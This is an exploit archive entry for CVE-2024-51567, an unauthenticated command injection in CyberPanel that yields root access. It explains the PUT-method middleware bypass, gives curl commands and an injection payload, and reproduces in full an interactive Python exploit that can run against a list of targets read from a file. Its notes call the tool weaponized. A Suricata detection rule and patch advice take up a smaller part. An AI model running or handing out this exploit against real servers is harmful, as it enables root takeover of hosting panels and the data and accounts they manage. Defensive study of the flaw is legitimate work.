PoC Archive PoC Archive
CVE-2024-51567 category: web CVSS 10 (CRITICAL) KEV Ransomware EPSS 61%
Patched

CyberPanel upgrademysqlstatus Unauthenticated Command Injection - CVE-2024-51567

Published: 2026-11-27 • Researcher: Ajay Alfredo Almani (ajayalf, repo author); vulnerability research by Dreyand

Target software CyberPanel (Cyber Panel)
Affected versions All versions before 2.3.8, including 2.3.6 and the unpatched 2.3.7; fixed by commit 5b08cd6
Status Weaponized
Severity Critical · CVSS 10
CVSS 10.0/10

Exploitation signals

KEV Ransomware EPSS 61%

Confirmed exploited in the wild. Added to CISA KEV 2024-11-07. Federal remediation deadline 2024-11-28.

EPSS 60.6% · 99th percentile

Severity
Critical
CVE
CVE-2024-51567
Category
web
Affected product
CyberPanel (Cyber Panel)
Affected versions
All versions before 2.3.8, including 2.3.6 and the unpatched 2.3.7; fixed by commit 5b08cd6
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2024-11-01
Author / ResearcherAjay Alfredo Almani (ajayalf, repo author); vulnerability research by Dreyand
CVE / AdvisoryCVE-2024-51567
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSSv3.1)
StatusWeaponized
Tagscommand injection, CyberPanel, unauthenticated, RCE, root, Django, middleware bypass, CISA KEV, PSAUX, hosting panel
RelatedN/A

Affected Target

FieldValue
Software / SystemCyberPanel (Cyber Panel)
Versions AffectedAll versions before 2.3.8, including 2.3.6 and the unpatched 2.3.7; fixed by commit 5b08cd6
Language / PlatformPython / Django on Linux (AlmaLinux, Ubuntu, Debian); management panel on TCP 8090
Authentication RequiredNo
Network Access RequiredYes (panel web interface reachable)

Summary

CVE-2024-51567 is an unauthenticated command injection in CyberPanel 2.3.6 and 2.3.7. The upgrademysqlstatus view in databases/views.py takes the statusfile value from the JSON request body and concatenates it into a sudo cat shell command, with no authentication check on the route. A security middleware is supposed to filter shell metacharacters, but it only inspects POST requests, so sending the same JSON body with PUT, OPTIONS or PATCH bypasses the filter while Django still parses the body. Because the injected command runs through sudo, exploitation yields root command execution on the panel server, and the flaw was mass-exploited by PSAUX in October 2024.

Vulnerability Details

Root Cause

The upgrademysqlstatus controller in databases/views.py lacks the per-route authentication checks used elsewhere in the project. It reads statusfile from json.loads(request.body) and passes it to ProcessUtilities.outputExecutioner(“sudo cat " + statusfile), which executes the string through a shell. The secMiddleware protection only runs its character blacklist when request.method equals POST; since Django exposes request.body regardless of the HTTP verb, a PUT request reaches the same controller with the same JSON payload but without filtering. Shell metacharacters in statusfile therefore execute as root. A second bypass in the same middleware is that it only inspects list values, not plain strings, but the method confusion is the primary issue.

Attack Vector

An unauthenticated HTTP PUT to /dataBases/upgrademysqlstatus with a Referer header, the csrftoken value sent in the X-CSRFToken header (the token is issued as a cookie by GET /), and a JSON body whose statusfile value begins with /dev/null and continues with a shell command, for example: {“statusfile”:"/dev/null; id; #”,“csrftoken”:""}. The trailing comment character discards whatever the application appends to the command.

Impact

Arbitrary command execution as root on the CyberPanel host, and therefore full compromise of the panel and every website, database, mailbox and SSH account it manages. PSAUX used this vulnerability in October 2024 to mass-compromise panels, delete or ransom data, and disable services; the CVE is in the CISA KEV catalog.

Environment / Lab Setup

Output
OS:          Linux server (AlmaLinux 8/9, Ubuntu 22.04 or Debian) with CyberPanel 2.3.6 or 2.3.7
Target:      CyberPanel management interface, https://TARGET:8090 (self-signed certificate is normal)
Attacker:    Linux or macOS with Python 3 and httpx
Tools:       Python 3, httpx; curl for manual verification

Setup Steps

Shell script
1
2
3
4
5
6
7
8
pip install httpx

git clone https://github.com/ajayalf/CVE-2024-51567
cd CVE-2024-51567

python CVE-2024-51567.py http://TARGET:8090

python CVE-2024-51567.py targets.txt

A local reproduction can use an official CyberPanel 2.3.6 installer or a matching container/VM snapshot; no vulnerable image is shipped with this entry.

Proof of Concept

Step-by-Step Reproduction

  1. Fetch the CSRF cookie - Request the panel root. CyberPanel sets a csrftoken cookie even for unauthenticated visitors.

    Shell script
    1
    
    curl -k -s -c cookies.txt https://TARGET:8090/
  2. Send the injection with a non-POST verb - PUT carries the JSON body past the POST-only middleware.

    Shell script
    1
    2
    3
    4
    5
    
    TOKEN=$(awk '$6=="csrftoken"{print $7}' cookies.txt)
    curl -k -s -X PUT "https://TARGET:8090/dataBases/upgrademysqlstatus" \
      -H "X-CSRFToken: $TOKEN" -H "Content-Type: application/json" \
      -H "Referer: https://TARGET:8090/" \
      --data '{"statusfile":"/dev/null; id; #","csrftoken":"'$TOKEN'"}'
  3. Use the interactive script - The upstream tool automates the token retrieval and verb confusion, then runs a command loop.

    Shell script
    1
    2
    
    python CVE-2024-51567.py http://TARGET:8090
    # then: id

Exploit Code

See CVE-2024-51567.py in this folder.

Python
1
2
3
4
5
6
7
8
def pwn(client, CSRF_token, cmd):
    headers = {
        "X-CSRFToken": CSRF_token,
        "Content-Type": "application/json",
        "Referer": str(client.base_url)
    }
    payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, CSRF_token)
    return client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload).json().get("requestStatus", "Error")

The command output is returned inside the requestStatus field of the JSON response, because the controller returns the captured output of the sudo cat pipeline.

Expected Output

Output
$> id
uid=0(root) gid=0(root) groups=0(root)

$> uname -a
Linux panel 5.14.0-... #1 SMP ... x86_64 GNU/Linux

The tool prints the requestStatus value verbatim, so multi-line command output may be JSON-escaped or truncated by the terminal.

Detection & Indicators of Compromise

Output
PUT /dataBases/upgrademysqlstatus HTTP/1.1
X-CSRFToken: <token>
{"statusfile":"/dev/null; id; #","csrftoken":"<token>"}

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2024-51567 CyberPanel upgrademysqlstatus command injection"; flow:to_server,established; content:"PUT"; http_method; content:"/dataBases/upgrademysqlstatus"; http_uri; content:"statusfile"; http_client_body; content:"/dev/null"; http_client_body; reference:cve,2024-51567; sid:9000157;)

Remediation

ActionDetail
PatchUpgrade to CyberPanel 2.3.8 or apply commit 5b08cd6d53f4dbc2107ad9f555122ce8b0996515, which adds authentication checks and fixes the middleware method handling.
WorkaroundRestrict access to port 8090 to trusted administrators, block non-POST requests to /dataBases/ at the reverse proxy or WAF, and keep the panel off the public internet.
Config HardeningReview accounts and SSH keys for unauthorized additions, rotate panel and database credentials, audit cron and systemd units for persistence, verify website files for webshells, and keep the panel’s upstream security middleware current.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/ajayalf/CVE-2024-51567 (stars 5, forks 1, Python).

Review verdict: ingested. This is a genuine exploitation tool rather than a version or header checker: it retrieves the real CSRF cookie, sends a PUT with a statusfile value that terminates the sudo cat command and executes the operator’s command, and returns the command output from the requestStatus field. It matches the public Dreyand research and the in-the-wild PSAUX exploitation pattern.

License: no LICENSE file exists in the upstream repository and no license is stated in its README; copyright remains with the upstream author. Source attribution is kept here and the copied script carries an archive header.

Limitations: targets the 2.3.6/2.3.7 code path and fixed hosts will reject the request; a csrftoken cookie from the panel root is required; the script is interactive and has no non-interactive command flag; output formatting depends on the JSON requestStatus field and may be escaped; only single-target or file-based sequential execution is supported. No exploit code was executed during preparation of this entry.

CVE-2024-51567.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# Archived for authorized security research only.
# Source: https://github.com/ajayalf/CVE-2024-51567 (see README for attribution/license)

import httpx
import sys
import os

def display_banner():
    banner = """
 ██████╗ ██╗   ██╗███████╗     ██████╗  ██████╗ ██████╗ ██╗  ██╗     ███████╗ ██╗███████╗ ██████╗ ███████╗
██╔════╝ ██║   ██║██╔════╝     ╚════██╗██╔═████╗╚════██╗██║  ██║     ██╔════╝███║██╔════╝██╔════╝ ╚════██║
██║      ██║   ██║█████╗  █████╗ █████╔╝██║██╔██║ █████╔╝███████║████╗███████╗╚██║███████╗███████╗     ██╔╝
██║      ╚██╗ ██╔╝██╔══╝  ╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚═══╝╚════██║ ██║╚════██║██╔═══██╗   ██╔╝ 
╚██████╗  ╚████╔╝ ███████╗     ███████╗╚██████╔╝███████╗     ██║     ███████║ ██║███████║╚██████╔╝   ██║  
 ╚═════╝   ╚═══╝  ╚══════╝     ╚══════╝ ╚═════╝ ╚══════╝     ╚═╝     ╚══════╝ ╚═╝╚══════╝ ╚═════╝    ╚═╝  
                                        github/ajayalf
    """
    print(banner)


def get_CSRF_token(client):
    resp = client.get("/")
    
    print("Cookies received:", resp.cookies)

    if 'csrftoken' in resp.cookies:
        return resp.cookies['csrftoken']
    else:
        print("Error: CSRF token not found in cookies.")
        sys.exit(1)  

def pwn(client, CSRF_token, cmd):
    headers = {
        "X-CSRFToken": CSRF_token,
        "Content-Type": "application/json",
        "Referer": str(client.base_url)
    }
    payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, CSRF_token)
    return client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload).json().get("requestStatus", "Error")

def exploit(client, cmd):
    CSRF_token = get_CSRF_token(client)
    stdout = pwn(client, CSRF_token, cmd)
    print(stdout)

def run_exploit(target):
    client = httpx.Client(base_url=target, verify=False)
    
    while True:
        cmd = input("$> ") 
        if cmd.lower() in ["exit", "quit"]:
            print("Exiting...")
            break
        exploit(client, cmd)

if __name__ == "__main__":
    display_banner() 
    
    if len(sys.argv) < 2:
        print("Usage: python CVE-2024-51567.py <target-url> or python CVE-2024-51567.py <target.txt>")
        sys.exit(1)

    target_arg = sys.argv[1]
    
    if os.path.isfile(target_arg):
        with open(target_arg, "r") as file:
            targets = [line.strip() for line in file if line.strip()]
        
        for target in targets:
            print(f"\nExploiting target: {target}")
            run_exploit(target)
    else:
        run_exploit(target_arg)